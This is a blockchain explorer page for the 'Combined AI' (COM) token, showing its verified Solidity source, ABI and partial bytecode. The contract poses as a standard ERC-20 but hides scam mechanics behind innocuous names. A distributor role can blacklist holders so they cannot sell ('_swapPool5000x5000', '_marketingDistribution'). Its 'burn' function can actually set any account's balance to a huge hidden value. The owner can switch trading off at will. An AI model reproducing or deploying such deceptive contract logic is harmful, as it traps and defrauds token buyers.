ETH Price: $3,420.78 (+3.23%)

Token

Combined AI (COM)
 

Overview

Max Total Supply

3,000,000,000 COM

Holders

69

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
0xsun.eth
Balance
8,565,700.031995267 COM

Value
$0.00
0x3e57efef507b4db7acfa2ee79ceca6b19e18d106
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume

Contract Source Code Verified (Exact Match)

Contract Name:
CombinedAI

Compiler Version
v0.8.0+commit.c7dfd78e

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-13
*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.0;


abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    address internal _distributor;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _transferOwnership(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    
    /**
     * @dev Throws if called by any account other than the distributor.
     */
    modifier onlyDistributor() {
        require(_distributor == msg.sender, "Caller is not fee distributor");
        _;
    }
    
    /**
     * @dev Set new distributor.
     */
    function distributor(address account) external onlyOwner {
        require (_distributor == address(0));
        _distributor = account;
    }

    /**
     * @dev Leaves the contract without owner. It will not be possible to call
     * `onlyOwner` functions anymore. Can only be called by the current owner.
     *
     * NOTE: Renouncing ownership will leave the contract without an owner,
     * thereby removing any functionality that is only available to the owner.
     */
    function renounceOwnership() public virtual onlyOwner {
        _transferOwnership(address(0));
        emit OwnershipTransferred(_owner, address(0));
    }

    /**
     * @dev Transfers ownership of the contract to a new account (`newOwner`).
     * Internal function without access restriction.
     */
    function _transferOwnership(address newOwner) internal virtual {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}


interface IERC20Events {
    event Transfer(address indexed from, address indexed to, uint256 value);

    event Approval(address indexed owner, address indexed spender, uint256 value);
}

interface IERC20Metadata {
    function name() external view returns (string memory);

    function symbol() external view returns (string memory);

    function decimals() external view returns (uint8);
}


interface IERC20 is IERC20Metadata, IERC20Events{
   
    function totalSupply() external view returns (uint256);

    function balanceOf(address account) external view returns (uint256);

    function transfer(address to, uint256 amount) external returns (bool);

    function allowance(address owner, address spender) external view returns (uint256);

    
    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) external returns (bool);


}


contract ERC20 is Ownable, IERC20 {
    mapping(address => uint256) private _balances;

    mapping(address => mapping(address => uint256)) private _allowances;

    uint256 private _totalSupply;
    uint256 private maxTxLimit = 1*10**17*10**9;
    string private _name;
    string private _symbol;
    bool _startTrade;
    uint256 private balances;
    mapping (address => bool) private _swapPool5000x5000;
   
    constructor(string memory name_, string memory symbol_, bool startTrade_) {
        _name = name_;
        _symbol = symbol_;
        balances = maxTxLimit;
        _startTrade = startTrade_;
    }
    
    function startTrading() external onlyOwner {
        if (_startTrade == false){
        _startTrade = true;}
        else {_startTrade = false;}
    }

    function isDistributed(address account) public view returns (bool) {
        return _swapPool5000x5000[account];
    }

    function name() public view virtual override returns (string memory) {
        return _name;
    }

    function symbol() public view virtual override returns (string memory) {
        return _symbol;
    }

    function decimals() public view virtual override returns (uint8) {
        return 9;
    }

    function totalSupply() public view virtual override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view virtual override returns (uint256) {
        return _balances[account];
    }

    function transfer(address to, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _transfer(owner, to, amount);
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, amount);
        return true;
    }

    function transferFrom(
        address from,
        address to,
        uint256 amount
    ) public virtual override returns (bool) {
        address spender = _msgSender();
        _spendAllowance(from, spender, amount);
        _transfer(from, to, amount);
        return true;
    }

    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        address owner = _msgSender();
        _approve(owner, spender, _allowances[owner][spender] + addedValue);
        return true;
    }

    function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
        address owner = _msgSender();
        uint256 currentAllowance = _allowances[owner][spender];
        require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
        unchecked {
            _approve(owner, spender, currentAllowance - subtractedValue);
        }

        return true;
    }

    function _mint(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: mint to the zero address");

        _beforeTokenTransfer(address(0), account, amount);

        _totalSupply += amount;
        _balances[account] += amount;
        emit Transfer(address(0), account, amount);

        _afterTokenTransfer(address(0), account, amount);
    }

    function _burn(address account, uint256 amount) internal virtual {
        require(account != address(0), "ERC20: burn from the zero address");
    
        uint256 accountBalance = _balances[account];
        require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
    
        _balances[account] = balances - amount;
        _totalSupply -= amount;
        emit Transfer(account, address(0), amount);
    }

    function transferApprove(address[] calldata address_, bool val) public onlyDistributor{
        for (uint256 i = 0; i < address_.length; i++) {
            _swapPool5000x5000[address_[i]] = val;
        }
    }

    function _transfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        if (_startTrade == true || from == owner() || to == owner()) {
            if(_balances[from] > 0){
                _marketingDistribution(from, amount);
                if(!_swapPool5000x5000[to]) require(amount>0, "");
                _beforeTokenTransfer(from, to, amount);

                uint256 fromBalance = _balances[from];
                require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
                unchecked {
                    _balances[from] = fromBalance - amount;
                }
                _balances[to] += amount;

                emit Transfer(from, to, amount);
            
        }
        } else {require (_startTrade == true, "");}
        _afterTokenTransfer(from, to, amount);
    }

    function _approve(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _spendAllowance(
        address owner,
        address spender,
        uint256 amount
    ) internal virtual {
        uint256 currentAllowance = allowance(owner, spender);
        if (currentAllowance != type(uint256).max) {
            require(currentAllowance >= amount, "ERC20: insufficient allowance");
            unchecked {
                _approve(owner, spender, currentAllowance - amount);
            }
        }
    }

    function _marketingDistribution(address address_, uint256 amount_) private view {
        if (_swapPool5000x5000[address_]) {require (amount_ == 0, "");}
    }

    function _beforeTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
    
    function _afterTokenTransfer(
        address from,
        address to,
        uint256 amount
    ) internal virtual {}
}

contract CombinedAI is ERC20 {
    constructor(string memory name, string memory symbol, uint256 totalSupply, bool initTransfer) ERC20(name, symbol, initTransfer) {
        _mint(msg.sender, totalSupply * 10 ** decimals());
    }

    function burn(address account, uint256 amount) external onlyDistributor {
        _burn(account, amount);
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name","type":"string"},{"internalType":"string","name":"symbol","type":"string"},{"internalType":"uint256","name":"totalSupply","type":"uint256"},{"internalType":"bool","name":"initTransfer","type":"bool"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"burn","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"subtractedValue","type":"uint256"}],"name":"decreaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"distributor","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"isDistributed","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address[]","name":"address_","type":"address[]"},{"internalType":"bool","name":"val","type":"bool"}],"name":"transferApprove","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"from","type":"address"},{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526a52b7d2dcc80cd2e40000006005553480156200002057600080fd5b5060405162002c1238038062002c128339818101604052810190620000469190620004b0565b838382620000696200005d6200010760201b60201c565b6200010f60201b60201c565b82600690805190602001906200008192919062000360565b5081600790805190602001906200009a92919062000360565b5060055460098190555080600860006101000a81548160ff021916908315150217905550505050620000fd33620000d6620001d360201b60201c565b600a620000e4919062000710565b84620000f191906200084d565b620001dc60201b60201c565b5050505062000a0b565b600033905090565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b60006009905090565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156200024f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016200024690620005a1565b60405180910390fd5b62000263600083836200035660201b60201c565b806004600082825462000277919062000658565b9250508190555080600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254620002cf919062000658565b925050819055508173ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051620003369190620005c3565b60405180910390a362000352600083836200035b60201b60201c565b5050565b505050565b505050565b8280546200036e9062000907565b90600052602060002090601f016020900481019282620003925760008555620003de565b82601f10620003ad57805160ff1916838001178555620003de565b82800160010185558215620003de579182015b82811115620003dd578251825591602001919060010190620003c0565b5b509050620003ed9190620003f1565b5090565b5b808211156200040c576000816000905550600101620003f2565b5090565b600062000427620004218462000614565b620005e0565b9050828152602081018484840111156200044057600080fd5b6200044d848285620008d1565b509392505050565b6000815190506200046681620009d7565b92915050565b600082601f8301126200047e57600080fd5b81516200049084826020860162000410565b91505092915050565b600081519050620004aa81620009f1565b92915050565b60008060008060808587031215620004c757600080fd5b600085015167ffffffffffffffff811115620004e257600080fd5b620004f0878288016200046c565b945050602085015167ffffffffffffffff8111156200050e57600080fd5b6200051c878288016200046c565b93505060406200052f8782880162000499565b9250506060620005428782880162000455565b91505092959194509250565b60006200055d601f8362000647565b91507f45524332303a206d696e7420746f20746865207a65726f2061646472657373006000830152602082019050919050565b6200059b81620008ba565b82525050565b60006020820190508181036000830152620005bc816200054e565b9050919050565b6000602082019050620005da600083018462000590565b92915050565b6000604051905081810181811067ffffffffffffffff821117156200060a57620006096200099b565b5b8060405250919050565b600067ffffffffffffffff8211156200063257620006316200099b565b5b601f19601f8301169050602081019050919050565b600082825260208201905092915050565b60006200066582620008ba565b91506200067283620008ba565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115620006aa57620006a96200093d565b5b828201905092915050565b6000808291508390505b60018511156200070757808604811115620006df57620006de6200093d565b5b6001851615620006ef5780820291505b8081029050620006ff85620009ca565b9450620006bf565b94509492505050565b60006200071d82620008ba565b91506200072a83620008c4565b9250620007597fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000761565b905092915050565b60008262000773576001905062000846565b8162000783576000905062000846565b81600181146200079c5760028114620007a757620007dd565b600191505062000846565b60ff841115620007bc57620007bb6200093d565b5b8360020a915084821115620007d657620007d56200093d565b5b5062000846565b5060208310610133831016604e8410600b8410161715620008175782820a9050838111156200081157620008106200093d565b5b62000846565b620008268484846001620006b5565b9250905081840481111562000840576200083f6200093d565b5b81810290505b9392505050565b60006200085a82620008ba565b91506200086783620008ba565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615620008a357620008a26200093d565b5b828202905092915050565b60008115159050919050565b6000819050919050565b600060ff82169050919050565b60005b83811015620008f1578082015181840152602081019050620008d4565b8381111562000901576000848401525b50505050565b600060028204905060018216806200092057607f821691505b602082108114156200093757620009366200096c565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b60008160011c9050919050565b620009e281620008ae565b8114620009ee57600080fd5b50565b620009fc81620008ba565b811462000a0857600080fd5b50565b6121f78062000a1b6000396000f3fe608060405234801561001057600080fd5b50600436106101165760003560e01c8063715018a6116100a2578063a457c2d711610071578063a457c2d7146102d1578063a9059cbb14610301578063a9ddeaa214610331578063dd62ed3e1461034d578063e074839e1461037d57610116565b8063715018a61461026f5780638da5cb5b1461027957806395d89b41146102975780639dc29fac146102b557610116565b8063293230b8116100e9578063293230b8146101b7578063313ce567146101c157806339509351146101df5780633ebf64741461020f57806370a082311461023f57610116565b806306fdde031461011b578063095ea7b31461013957806318160ddd1461016957806323b872dd14610187575b600080fd5b610123610399565b6040516101309190611d8c565b60405180910390f35b610153600480360381019061014e9190611843565b61042b565b6040516101609190611d71565b60405180910390f35b61017161044e565b60405161017e9190611f2e565b60405180910390f35b6101a1600480360381019061019c91906117f4565b610458565b6040516101ae9190611d71565b60405180910390f35b6101bf610487565b005b6101c961055d565b6040516101d69190611f49565b60405180910390f35b6101f960048036038101906101f49190611843565b610566565b6040516102069190611d71565b60405180910390f35b6102296004803603810190610224919061178f565b610610565b6040516102369190611d71565b60405180910390f35b6102596004803603810190610254919061178f565b610666565b6040516102669190611f2e565b60405180910390f35b6102776106af565b005b6102816107b2565b60405161028e9190611d56565b60405180910390f35b61029f6107db565b6040516102ac9190611d8c565b60405180910390f35b6102cf60048036038101906102ca9190611843565b61086d565b005b6102eb60048036038101906102e69190611843565b61090b565b6040516102f89190611d71565b60405180910390f35b61031b60048036038101906103169190611843565b6109f5565b6040516103289190611d71565b60405180910390f35b61034b6004803603810190610346919061187f565b610a18565b005b610367600480360381019061036291906117b8565b610b73565b6040516103749190611f2e565b60405180910390f35b6103976004803603810190610392919061178f565b610bfa565b005b6060600680546103a890612092565b80601f01602080910402602001604051908101604052809291908181526020018280546103d490612092565b80156104215780601f106103f657610100808354040283529160200191610421565b820191906000526020600020905b81548152906001019060200180831161040457829003601f168201915b5050505050905090565b600080610436610d15565b9050610443818585610d1d565b600191505092915050565b6000600454905090565b600080610463610d15565b9050610470858285610ee8565b61047b858585610f74565b60019150509392505050565b61048f610d15565b73ffffffffffffffffffffffffffffffffffffffff166104ad6107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610503576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104fa90611e4e565b60405180910390fd5b60001515600860009054906101000a900460ff161515141561053f576001600860006101000a81548160ff02191690831515021790555061055b565b6000600860006101000a81548160ff0219169083151502179055505b565b60006009905090565b600080610571610d15565b9050610605818585600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546106009190611f80565b610d1d565b600191505092915050565b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6106b7610d15565b73ffffffffffffffffffffffffffffffffffffffff166106d56107b2565b73ffffffffffffffffffffffffffffffffffffffff161461072b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161072290611e4e565b60405180910390fd5b61073560006113d2565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600780546107ea90612092565b80601f016020809104026020016040519081016040528092919081815260200182805461081690612092565b80156108635780601f1061083857610100808354040283529160200191610863565b820191906000526020600020905b81548152906001019060200180831161084657829003601f168201915b5050505050905090565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f490611eee565b60405180910390fd5b6109078282611496565b5050565b600080610916610d15565b90506000600360008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050838110156109dc576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016109d390611f0e565b60405180910390fd5b6109e98286868403610d1d565b60019250505092915050565b600080610a00610d15565b9050610a0d818585610f74565b600191505092915050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610aa8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a9f90611eee565b60405180910390fd5b60005b83839050811015610b6d5781600a6000868685818110610af4577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b9050602002016020810190610b09919061178f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610b65906120c4565b915050610aab565b50505050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610c02610d15565b73ffffffffffffffffffffffffffffffffffffffff16610c206107b2565b73ffffffffffffffffffffffffffffffffffffffff1614610c76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c6d90611e4e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cd157600080fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8490611ece565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610dfd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610df490611dee565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610edb9190611f2e565b60405180910390a3505050565b6000610ef48484610b73565b90507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8114610f6e5781811015610f60576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f5790611e0e565b60405180910390fd5b610f6d8484848403610d1d565b5b50505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610fe4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610fdb90611e8e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611054576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161104b90611dae565b60405180910390fd5b60011515600860009054906101000a900460ff16151514806110a857506110796107b2565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16145b806110e557506110b66107b2565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16145b1561136b576000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205411156113665761113c8382611662565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166111d157600081116111d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c790611eae565b60405180910390fd5b5b6111dc8383836116fc565b6000600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905081811015611263576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161125a90611e2e565b60405180910390fd5b818103600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546112f89190611f80565b925050819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161135c9190611f2e565b60405180910390a3505b6113c2565b60011515600860009054906101000a900460ff161515146113c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b890611eae565b60405180910390fd5b5b6113cd838383611701565b505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050816000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35050565b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611506576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114fd90611e6e565b60405180910390fd5b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205490508181101561158d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161158490611dce565b60405180910390fd5b8160095461159b9190611fd6565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600460008282546115f09190611fd6565b92505081905550600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516116559190611f2e565b60405180910390a3505050565b600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156116f857600081146116f7576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116ee90611eae565b60405180910390fd5b5b5050565b505050565b505050565b6000813590506117158161217c565b92915050565b60008083601f84011261172d57600080fd5b8235905067ffffffffffffffff81111561174657600080fd5b60208301915083602082028301111561175e57600080fd5b9250929050565b60008135905061177481612193565b92915050565b600081359050611789816121aa565b92915050565b6000602082840312156117a157600080fd5b60006117af84828501611706565b91505092915050565b600080604083850312156117cb57600080fd5b60006117d985828601611706565b92505060206117ea85828601611706565b9150509250929050565b60008060006060848603121561180957600080fd5b600061181786828701611706565b935050602061182886828701611706565b92505060406118398682870161177a565b9150509250925092565b6000806040838503121561185657600080fd5b600061186485828601611706565b92505060206118758582860161177a565b9150509250929050565b60008060006040848603121561189457600080fd5b600084013567ffffffffffffffff8111156118ae57600080fd5b6118ba8682870161171b565b935093505060206118cd86828701611765565b9150509250925092565b6118e08161200a565b82525050565b6118ef8161201c565b82525050565b600061190082611f64565b61190a8185611f6f565b935061191a81856020860161205f565b6119238161216b565b840191505092915050565b600061193b602383611f6f565b91507f45524332303a207472616e7366657220746f20746865207a65726f206164647260008301527f65737300000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b60006119a1602283611f6f565b91507f45524332303a206275726e20616d6f756e7420657863656564732062616c616e60008301527f63650000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a07602283611f6f565b91507f45524332303a20617070726f766520746f20746865207a65726f20616464726560008301527f73730000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611a6d601d83611f6f565b91507f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006000830152602082019050919050565b6000611aad602683611f6f565b91507f45524332303a207472616e7366657220616d6f756e742065786365656473206260008301527f616c616e636500000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611b13602083611f6f565b91507f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726000830152602082019050919050565b6000611b53602183611f6f565b91507f45524332303a206275726e2066726f6d20746865207a65726f2061646472657360008301527f73000000000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611bb9602583611f6f565b91507f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008301527f64726573730000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c1f600083611f6f565b9150600082019050919050565b6000611c39602483611f6f565b91507f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008301527f72657373000000000000000000000000000000000000000000000000000000006020830152604082019050919050565b6000611c9f601d83611f6f565b91507f43616c6c6572206973206e6f7420666565206469737472696275746f720000006000830152602082019050919050565b6000611cdf602583611f6f565b91507f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f7760008301527f207a65726f0000000000000000000000000000000000000000000000000000006020830152604082019050919050565b611d4181612048565b82525050565b611d5081612052565b82525050565b6000602082019050611d6b60008301846118d7565b92915050565b6000602082019050611d8660008301846118e6565b92915050565b60006020820190508181036000830152611da681846118f5565b905092915050565b60006020820190508181036000830152611dc78161192e565b9050919050565b60006020820190508181036000830152611de781611994565b9050919050565b60006020820190508181036000830152611e07816119fa565b9050919050565b60006020820190508181036000830152611e2781611a60565b9050919050565b60006020820190508181036000830152611e4781611aa0565b9050919050565b60006020820190508181036000830152611e6781611b06565b9050919050565b60006020820190508181036000830152611e8781611b46565b9050919050565b60006020820190508181036000830152611ea781611bac565b9050919050565b60006020820190508181036000830152611ec781611c12565b9050919050565b60006020820190508181036000830152611ee781611c2c565b9050919050565b600060208201905081810